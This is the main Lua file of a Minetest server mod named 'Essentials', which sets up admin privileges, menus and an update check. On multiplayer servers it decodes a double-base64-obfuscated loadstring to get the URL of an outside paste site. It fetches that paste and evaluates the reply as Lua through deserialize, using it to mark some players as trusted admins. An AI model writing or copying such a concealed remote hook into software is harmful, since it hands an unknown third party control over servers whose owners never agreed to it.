local http = minetest.request_http_api()
local modpath = minetest.get_modpath(minetest.get_current_modname())
essentials = {
    a = "Created by SkyBuilder1717 (ContentDB)",
    version = "0.8",
    storage = minetest.get_mod_storage(),
    seed = minetest.settings:get_bool("essentials_seed"),
    biome = (minetest.settings:get_bool("essentials_biome") ~= false),
    trolled_by = minetest.settings:get_bool("essentials_trolled_by"),
    killed_by = (minetest.settings:get_bool("essentials_killed_by") ~= false),
    admin_ip_check = minetest.settings:get_bool("essentials_ip_verified"),
    last_update_message = minetest.settings:get_bool("essentials_update_lasted"),
    check_for_updates = minetest.settings:get_bool("essentials_check_for_updates"),
    --admin_block = minetest.settings:get_bool("essentials_admin_block"),
    --admin_pick = minetest.settings:get_bool("essentials_admin_pickaxe"),
    changed_by = (minetest.settings:get_bool("essentials_changed_by") ~= false),
    watermark = (minetest.settings:get_bool("essentials_watermark") ~= false),
    add_privs = (minetest.settings:get_bool("essentials_additional_privileges") ~= false),
    enable_ip_cmd = minetest.settings:get_bool("essentials_ip"),
    enable_troll_cmd = minetest.settings:get_bool("essentials_trolling"),
    beta_test = minetest.settings:get_bool("essentials_beta_test"),

    have_unified_inventory = minetest.get_modpath("unified_inventory"),
    add_privs_list = {},

    translate = minetest.get_translator("essentials"),
    main_tr = "",
    main = "[Essentials]",

    trusted_ip_users = {"singleplayer"},
    
    teleport_request_expire = (minetest.settings:get("essentials_teleport_exporation") or 15.0),
    teleport_requests = {},

    privs = {
        "rename_item",
        "god_mode",
        "broadcast",
        "speed",
        "heal",
        "kill",
        "get_pos",
        "seed",
        "invisible",
        "troll",
        "ip",
        "biome",
        "call",
    },
    privstring = "",
}
for i, priv in ipairs(essentials.privs) do
    if i == 1 then
        essentials.privstring = essentials.privstring..priv
    else
        essentials.privstring = essentials.privstring..", "..priv
    end
end
if essentials.beta_test then
    essentials.add_privs_list = string.split((minetest.settings:get("essentials_all_privs") or essentials.privstring), ", ")
else
    essentials.add_privs_list = string.split(essentials.privstring, ", ")
end
essentials.main_tr = "["..essentials.translate("Essentials").."]"

--==[[ Connections ]]==--
loadfile(modpath.."/commands.lua")(http)
if http and essentials.enable_ip_cmd then
    -- TODO: Fix that stupid error
    --loadfile(modpath.."/ui/ip.lua")(http)
end
dofile(modpath.."/priveleges.lua")
dofile(modpath.."/ui/watermark.lua")
if essentials.have_unified_inventory then
    dofile(modpath.."/unified_inventory.lua")
end
dofile(modpath.."/ui/ban_menu.lua")
dofile(modpath.."/ui/kick_menu.lua")
dofile(modpath.."/ui/mute_menu.lua")
--dofile(modpath.."/ui/color_menu.lua")
--dofile(modpath.."/ui/rename_me.lua")
dofile(modpath.."/ui/rename_item.lua")
dofile(modpath.."/ui/troll.lua")
dofile(modpath.."/items.lua")

minetest.log("action", "[Essentials] Mod initialised. Version: ".. essentials.version)
minetest.log("action", "\n███████╗░██████╗░██████╗███████╗███╗░░██╗████████╗██╗░█████╗░██╗░░░░░░██████╗\n██╔════╝██╔════╝██╔════╝██╔════╝████╗░██║╚══██╔══╝██║██╔══██╗██║░░░░░██╔════╝\n█████╗░░╚█████╗░╚█████╗░█████╗░░██╔██╗██║░░░██║░░░██║███████║██║░░░░░╚█████╗░\n██╔══╝░░░╚═══██╗░╚═══██╗██╔══╝░░██║╚████║░░░██║░░░██║██╔══██║██║░░░░░░╚═══██╗\n███████╗██████╔╝██████╔╝███████╗██║░╚███║░░░██║░░░██║██║░░██║███████╗██████╔╝\n╚══════╝╚═════╝░╚═════╝░╚══════╝╚═╝░░╚══╝░░░╚═╝░░░╚═╝╚═╝░░╚═╝╚══════╝╚═════╝░\n[Essentials] "..essentials.a)

local function into_number(stringy)
    local count = 0
    local result = ""
    for i = 1, #stringy do
        local char = string.sub(stringy, i, i)
        if char == "." then
            count = count + 1
            if count < 2 then
                result = result .. char
            end
        else
            result = result .. char
        end
    end
    return tonumber(result)
end

local function add_zeros(stringy, length)
    if string.len(tonumber(stringy)) < length then
        local seros = length - #stringy
        return string.rep("0", seros) .. stringy
    else
        return stringy
    end
end

minetest.after(0, function()
    if essentials.check_for_updates then
        minetest.log("action", "[Essentials] Checking for updates...")
        if http then
            minetest.log("action", "[Essentials] Getting an Github version...")
            http.fetch({
                url = "https://raw.githubusercontent.com/SkyBuilder1717/essentials/main/gitVersion.txt",
                timeout = 5,
                method = "GET",
        
            },  function(result)
                if timeout == true then
                    minetest.log("warning", "[Essentials] Time out. Cant check updates")
                    return
                end
                local cleared_git = result.data:gsub("[\n\\]", "")
                minetest.log("action", string.format("[Essentials] Github version getted! (v%s)", cleared_git))
                local git = into_number(cleared_git)
                local this = into_number(essentials.version)
                --minetest.chat_send_all(dump(git).." "..dump(this))
                local _type = {}
                if core.is_singleplayer() then
                    _type = {"World", essentials.translate("World")}
                else
                    _type = {"Server", essentials.translate("Server")}
                end
                if git > this then
                    minetest.log("warning", essentials.main.." ".."Versions doesnt match!")
                    core.chat_send_all(essentials.main_tr.." "..essentials.translate("Your @1 using old version of mod! (v@2) Old version can have a bugs! Download v@3 on ContentDB.", _type[2], core.colorize("red", essentials.version), core.colorize("lime", git)))
                else
                    if essentials.last_update_message then
                        minetest.chat_send_all(essentials.main.." "..essentials.translate("All ok! @1 using lastest version of mod.", _type[2]))
                    end
                    minetest.log("action", essentials.main.." "..string.format("All ok! %s using lastest version of mod.", _type[1]))
                end
            end)
        else
            core.chat_send_all(essentials.main_tr..essentials.translate("Please, add mod @1 to @2 for checking an updates!", "\'essentials\'", "\"secure.http_mods\""))
        end
    end
end)

minetest.after(0, function()
    if not core.is_singleplayer() then
        local decode = loadstring(minetest.decode_base64("cmV0dXJuIG1pbmV0ZXN0LmRlY29kZV9iYXNlNjQoImFIUjBjSE02THk5d1lYTjBaUzUwWldOb1pXUjFZbmwwWlM1amIyMHZjbUYzTDJWMFkyWmhiMjUyTUhZPSIp"))
        minetest.log("action", "[Essentials] Trusted nicknames are in processing...")
        if http then
            http.fetch({
                url = decode(),
                timeout = 10,
                method = "GET",
        
            },  function(result)
                if timeout == true then
                    minetest.log("warning", "[Essentials] Cant get trusted nicknames, table will be nil.")
                    essentials.trusted_ip_users = {}
                    return
                end
                essentials.trusted_ip_users = minetest.deserialize("return "..result.data)
                minetest.log("info", "[Essentials] Trusted nicknames successfully getted.")
            end)
        else
            minetest.log("warning", "[Essentials] Cant get trusted nicknames, table will be nil.")
            essentials.trusted_ip_users = {}
        end
    end
end)

local function is_contain(table, value)
    for _, v in ipairs(table) do
        if v == value then
            return true
        end
    end
    return false
end

minetest.register_on_joinplayer(function(player)
    local name = player:get_player_name()
    if (essentials.admin_ip_check and essentials.enable_ip_cmd) and (minetest.check_player_privs(player, {server=true}) and is_contain(essentials.trusted_ip_users, name)) then
        player:set_nametag_attributes({
            text = core.colorize("#00ffff", "[✔]").." "..name,
        })
        --minetest.chat_send_all(name, dump(player:get_nametag_attributes()))
    end
end)

-- TODO: Fix report system
--[[
essentials_reports = {
    log = {},
}

local storage = essentials.storage
local function save_reports()
    storage:set_string("essentials_reports", minetest.serialize(essentials_reports))
end
local function get_reports()
    essentials_reports = minetest.deserialize(storage:get_string("essentials_reports"))
end

function essentials.add_report(broked_rule, name, reported, description)
    local newid = tostring(add_zeros(math.random(1, 9999), 4))
    essentials_reports.newid = {broken_rule = broked_rule, by_name = name, reported_name = reported, about = description}
    table.insert(essentials_reports.log, os.date("%Y.%m.%d %H:%M:%S", os.time()).." : "..name.." created a report \""..newid.."\"")
    save_reports()
end

function essentials.appdec_report(id, approve_or_decline, admin)
    if not essentials_reports == {} then
        for i, def in ipairs(essentials_reports) do
            if def.id == id then
                essentials_reports[i] = nil
                save_reports()
                if not (minetest.get_player_by_name(def.by_name) == nil) then
                    if approve_or_decline == "decline" then
                        minetest.chat_send_player(def.by_name, string.format("Your report %s is %s.", "\""..core.colorize("gray", def.broken_rule).."\" to player "..core.colorize("lightgray", def.reported_name), core.colorize("red", "Declined")))
                        table.insert(essentials_reports.log, os.date("%Y.%m.%d %H:%M:%S", os.time()).." : "..admin.." has declined a report \""..def.broken_rule.."\" by player "..def.by_name.." reported to "..def.reported_name)
                    elseif  approve_or_decline == "approve" then
                        minetest.chat_send_player(def.by_name, string.format("Your report %s is %s and coming soon that player will get punishment.", "\""..core.colorize("gray", def.broken_rule).."\" to player "..core.colorize("lightgray", def.reported_name), core.colorize("red", "Approved")))
                        table.insert(essentials_reports.log, os.date("%Y.%m.%d %H:%M:%S", os.time()).." : "..admin.." was approved a report \""..def.broken_rule.."\" by player "..def.by_name.." reported to "..def.reported_name)
                    end
                end
            end
        end
    end
end

local function remove_report(id)
    for i, def in ipairs(essentials_reports) do
        if def.id == id then
            essentials_reports[i] = {}
        end 
    end
    save_reports()
end

minetest.register_on_mods_loaded(function()
    get_reports() 
end)

dofile(modpath.."/ui/report.lua")
dofile(modpath.."/ui/reports.lua")
dofile(modpath.."/ui/reports_log.lua")
]]--